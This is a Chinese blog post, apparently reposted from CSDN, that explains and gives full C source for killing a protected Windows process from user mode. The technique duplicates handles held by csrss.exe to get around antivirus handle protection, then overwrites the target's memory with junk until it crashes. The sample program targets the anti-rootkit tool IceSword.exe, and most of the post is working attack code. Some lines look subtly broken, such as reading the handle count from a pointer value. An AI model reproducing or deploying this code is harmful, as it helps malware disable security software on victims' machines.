学习RING3 内存清零结束进程

内存清零法 杀进程 原理分析 ：

1.先打开CSRSS.EXE系统进程，获得其句柄，几乎系统所有的HANDLE结构体中,里面的ProcessId都是指向csrss.exe的，利用它的PID来进行遍历进程实现过滤。

2.分配好一块内存空间Buffer，用来存储SystemHandleInformation系统句柄信息

3.通过ZwQuerySystemInformation函数来查询系统句柄信息并保存在Buffer中，为 ZwQuerySystemInformation 函数传递16号参数，且Buffer的开始出保存的是系统句柄的数量.偏移4才是句柄信息

4.遍历Buffer中PSYSTEM_HANDLE_TABLE_ENTRY_INFO结构
typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

0xxxxxxx ULONG NumberOfHandles
...       PSYSTEM_HANDLE_TABLE_ENTRY_INFO
...       PSYSTEM_HANDLE_TABLE_ENTRY_INFO
..        PSYSTEM_HANDLE_TABLE_ENTRY_INFO
.          .
.          .
.          .

5.几乎系统所有的HANDLE结构体中,里面的ProcessId都是指向csrss.exe的,
h_info[i].UniqueProcessId== (ULONG)csrss_id) && (h_info[i].ObjectTypeIndex== 5
利用这个特性 来进行过滤句柄，遍历每个进程

这里说明下ObjectTypeindex各个值的含义：

#define OB_TYPE_INDEX_TYPE 1 // [ObjT] "Type" #define OB_TYPE_INDEX_DIRECTORY 2 // [Dire] "Directory" #define OB_TYPE_INDEX_SYMBOLIC_LINK 3 // [Symb] "SymbolicLink" #define OB_TYPE_INDEX_TOKEN 4 // [Toke] "Token" #define OB_TYPE_INDEX_PROCESS 5 // [Proc] "Process" #define OB_TYPE_INDEX_THREAD 6 // [Thre] "Thread" #define OB_TYPE_INDEX_JOB 7 // [Job ] "Job" #define OB_TYPE_INDEX_EVENT 8 // [Even] "Event" #define OB_TYPE_INDEX_EVENT_PAIR 9 // [Even] "EventPair" #define OB_TYPE_INDEX_MUTANT 10 // [Muta] "Mutant" #define OB_TYPE_INDEX_CALLBACK 11 // [Call] "Callback" #define OB_TYPE_INDEX_SEMAPHORE 12 // [Sema] "Semaphore" #define OB_TYPE_INDEX_TIMER 13 // [Time] "Timer" #define OB_TYPE_INDEX_PROFILE 14 // [Prof] "Profile" #define OB_TYPE_INDEX_WINDOW_STATION 15 // [Wind] "WindowStation" #define OB_TYPE_INDEX_DESKTOP 16 // [Desk] "Desktop" #define OB_TYPE_INDEX_SECTION 17 // [Sect] "Section" #define OB_TYPE_INDEX_KEY 18 // [Key ] "Key" #define OB_TYPE_INDEX_PORT 19 // [Port] "Port" #define OB_TYPE_INDEX_WAITABLE_PORT 20 // [Wait] "WaitablePort" #define OB_TYPE_INDEX_ADAPTER 21 // [Adap] "Adapter" #define OB_TYPE_INDEX_CONTROLLER 22 // [Cont] "Controller" #define OB_TYPE_INDEX_DEVICE 23 // [Devi] "Device" #define OB_TYPE_INDEX_DRIVER 24 // [Driv] "Driver" #define OB_TYPE_INDEX_IO_COMPLETION 25 // [IoCo] "IoCompletion" #define OB_TYPE_INDEX_FILE 26 // [File] "File" #define OB_TYPE_INDEX_WMI_GUID 27 // [WmiG] "WmiGuid" ---   

6.有些时候，进程句柄是打不开的，通过遍历进程，可以得到句柄值，在知晓句柄值后，就可以进行句柄复制了
ZwDuplicateObject(
     ph,
     (PHANDLE)h_info[i].HandleValue,
     (HANDLE)-1,
     &h_dup,//复制后得到的句柄
     0,
     0,
     DUPLICATE_SAME_ACCESS)
复制后的句柄，就可以随便操作了

7.使用ZwQueryInformationProcess函数来查询改句柄的PID,用来遍历到要操作的目标进程

8.其实可以用更简单的方式打开进程的，1-7步的目的就是一种非常规打开进程的方式，目的就是防止杀毒防护软件等对句柄的保护. 如果找到并打开了目标进程，就可以操作该进程内存，往该进程空间写入垃圾数据，让程序自己崩溃。
if (pbi.UniqueProcessId == dwProcessId)
    {
     MessageBox(0, "目标已确定!", "!", MB_OK);

     for (i = 0x1000; i < 0x80000000; i = i + 0x1000)
     {
      PVOID pAddress = (PVOID) i;
      ULONG sz = 0x1000;
      ULONG oldp;

      if (ZwProtectVirtualMemory (h_dup, &pAddress, &sz, PAGE_EXECUTE_READWRITE, &oldp) == STATUS_SUCCESS) {             
       ZwWriteVirtualMemory(h_dup, pAddress, buf, 0x1000, &oldp);
      }         
     }

 

 

源码：#include <Windows.h> #include <Ntsecapi.h> #include <tlhelp32.h> #pragma comment (lib,"ntdll.lib") // Copy From DDK //------------------------------------------------------------------ DWORD GetPidByName (LPCSTR szName); void KillProcess (ULONG dwProcessId); BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); typedef struct _SYSTEM_HANDLE_INFORMATION{ ULONG ProcessID; //进程的标识ID UCHAR ObjectTypeNumber; //对象类型 UCHAR Flags; //0x01 = PROTECT_FROM_CLOSE,0x02 = INHERIT USHORT Handle; //对象句柄的数值 PVOID Object; //对象句柄所指的内核对象地址 ACCESS_MASK GrantedAccess; //创建句柄时所准许的对象的访问权 }SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID; typedef CLIENT_ID *PCLIENT_ID; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE } OBJECT_ATTRIBUTES; typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; ULONG PebBaseAddress; ULONG_PTR AffinityMask; LONG BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION; typedef NTSTATUS (WINAPI *ZWQUERYSYSTEMINFORMATION ) ( / IN ULONG SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); typedef NTSTATUS (WINAPI *ZWOPENPROCESS) ( / OUT PHANDLE ProcessHandle, IN ACCESS_MASK AccessMask, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId); typedef NTSTATUS (WINAPI *ZWDUPLICATEOBJECT)( / IN HANDLE SourceProcessHandle, IN PHANDLE SourceHandle, IN HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle, IN ACCESS_MASK DesiredAccess OPTIONAL, IN BOOLEAN InheritHandle, IN ULONG Options ); typedef NTSTATUS (WINAPI *ZWQUERYINFORMATIONPROCESS)( / IN HANDLE ProcessHandle, IN PVOID ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); typedef NTSTATUS (WINAPI *ZWPROTECTVIRTUALMEMORY)( / IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PULONG NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection ); typedef NTSTATUS (WINAPI *ZWWRITEVIRTUALMEMORY)( / IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG NumberOfBytesToWrite, OUT PULONG NumberOfBytesWritten OPTIONAL ); typedef NTSTATUS (WINAPI *ZWCLOSE)( / IN HANDLE ObjectHandle ); typedef NTSTATUS (WINAPI *ZWFREEVIRTUALMEMORY)( / IN HANDLE ProcessHandle, IN PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG FreeType ); typedef NTSTATUS (WINAPI *ZWALLOCATEVIRTUALMEMORY)( / IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect ); #define SystemHandleInformation 0x10 #define STATUS_SUCCESS 0x00000000 // // 主函数入口 // int main() { ULONG Pid; HANDLE hToken; OpenProcessToken (GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); EnablePrivilege (hToken, SE_DEBUG_NAME, TRUE); if (Pid = GetPidByName("IceSword.exe")) { KillProcess (Pid); } else { MessageBox (NULL, TEXT("The process is not exit,please check out."), TEXT("!"), MB_OK); } } / //----------------------------------------------------------------------- // 函数名: GetPidByName // // 参数: char *szName // --> 进程名 // // 返回值: 指定进程的PID // // 功能: 通过CreateToolhelp32Snapshot函数遍历进程,找到制定进程的PID // 对RootKit基本无用 // DWORD GetPidByName (LPCSTR szName) { HANDLE hProcessSnap = INVALID_HANDLE_VALUE; PROCESSENTRY32 pe32 = {0}; DWORD dwRet=0; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) return 0; pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First (hProcessSnap, &pe32)) { do { if (lstrcmpi(szName, pe32.szExeFile) == 0) { dwRet=pe32.th32ProcessID; break; } }while (Process32Next(hProcessSnap,&pe32)); } else { return 0; } if(hProcessSnap !=INVALID_HANDLE_VALUE) { CloseHandle(hProcessSnap); } return dwRet; } / //----------------------------------------------------------------------- // 函数名: KillProcess // // 参数: ULONG dwProcessId // --> 进程ID // // 返回值: NULL // // 功能: 向指定的进程空间填充垃圾信息.使进程死掉 // void KillProcess (ULONG dwProcessId) { HMODULE hNTDLL = GetModuleHandle("ntdll.dll"); HANDLE ph, h_dup; PSYSTEM_HANDLE_INFORMATION h_info; PROCESS_BASIC_INFORMATION pbi; // 得到 csrss.exe 进程的PID HANDLE csrss_id = (HANDLE) GetPidByName ("csrss.exe"); CLIENT_ID client_id; client_id.UniqueProcess = csrss_id; client_id.UniqueThread = 0; // 初始化对象结构体 OBJECT_ATTRIBUTES attr; attr.Length = sizeof(OBJECT_ATTRIBUTES); attr.RootDirectory = 0; attr.ObjectName = 0; attr.Attributes = 0; attr.SecurityDescriptor = 0; attr.SecurityQualityOfService = 0; ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) GetProcAddress (hNTDLL, "ZwQuerySystemInformation"); ZWOPENPROCESS ZwOpenProcess = (ZWOPENPROCESS) GetProcAddress (hNTDLL, "ZwOpenProcess"); ZWDUPLICATEOBJECT ZwDuplicateObject = (ZWDUPLICATEOBJECT) GetProcAddress (hNTDLL, "ZwDuplicateObject"); ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS) GetProcAddress (hNTDLL, "ZwQueryInformationProcess"); ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY) GetProcAddress (hNTDLL, "ZwAllocateVirtualMemory"); ZWPROTECTVIRTUALMEMORY ZwProtectVirtualMemory = (ZWPROTECTVIRTUALMEMORY) GetProcAddress (hNTDLL, "ZwProtectVirtualMemory"); ZWWRITEVIRTUALMEMORY ZwWriteVirtualMemory = (ZWWRITEVIRTUALMEMORY) GetProcAddress (hNTDLL, "ZwWriteVirtualMemory"); ZWFREEVIRTUALMEMORY ZwFreeVirtualMemory = (ZWFREEVIRTUALMEMORY) GetProcAddress (hNTDLL, "ZwFreeVirtualMemory"); ZWCLOSE ZwClose = (ZWCLOSE) GetProcAddress (hNTDLL, "ZwClose"); // 打开CSRSS.EXE，获得其句柄 ZwOpenProcess (&ph, PROCESS_ALL_ACCESS, &attr, &client_id); ULONG bytesIO = 0x400000; PVOID buf = 0; ZwAllocateVirtualMemory (GetCurrentProcess(), &buf, 0, &bytesIO, MEM_COMMIT, PAGE_READWRITE); // 为 ZwQuerySystemInformation 函数传递16号参数.获得系统句柄信息保存在buff中 // buff的开始出保存的是系统句柄的数量.偏移4才是句柄信息 ZwQuerySystemInformation(SystemHandleInformation, buf, 0x400000, &bytesIO); ULONG NumOfHandle = (ULONG)buf; h_info = (PSYSTEM_HANDLE_INFORMATION)((ULONG)buf+4); for (ULONG i = 0 ; i < NumOfHandle; i++, h_info++) { if ((h_info->ProcessID == (ULONG)csrss_id) && (h_info->ObjectTypeNumber == 5)) { // 复制句柄 if (ZwDuplicateObject( ph, (PHANDLE)h_info->Handle, (HANDLE)-1, &h_dup, 0, 0, DUPLICATE_SAME_ACCESS) == STATUS_SUCCESS) { ZwQueryInformationProcess(h_dup, 0, &pbi, sizeof(pbi), &bytesIO); } if (pbi.UniqueProcessId == dwProcessId) { MessageBox(0, "目标已确定!","!", MB_OK); for (i = 0x1000; i < 0x80000000; i = i + 0x1000) { PVOID pAddress = (PVOID) i; ULONG sz = 0x1000; ULONG oldp; if (ZwProtectVirtualMemory (h_dup, &pAddress, &sz, PAGE_EXECUTE_READWRITE, &oldp) == STATUS_SUCCESS) { ZwWriteVirtualMemory(h_dup, pAddress, buf, 0x1000, &oldp); } } MessageBox(0, "任务已完成！","!", 0); ZwClose(h_dup); break; } } } bytesIO = 0; ZwFreeVirtualMemory(GetCurrentProcess(), &buf, &bytesIO, MEM_RELEASE); } / //----------------------------------------------------------------------- // 函数名: EnablePrivilege // // 参数: HANDLE hToken ---> 进程句柄 // LPCTSTR szPrivName ---> // BOOL fEnable ---> // // 返回值: TRUE | FALSE // // 功能: 提升当前进程到指定的特权级 // BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue (NULL, szPrivName, &tp.Privileges[0]. Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0; AdjustTokenPrivileges (hToken, FALSE, &tp, sizeof(tp), NULL, NULL); return((GetLastError() == ERROR_SUCCESS)); }

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/wowbell/archive/2011/01/27/6166770.aspx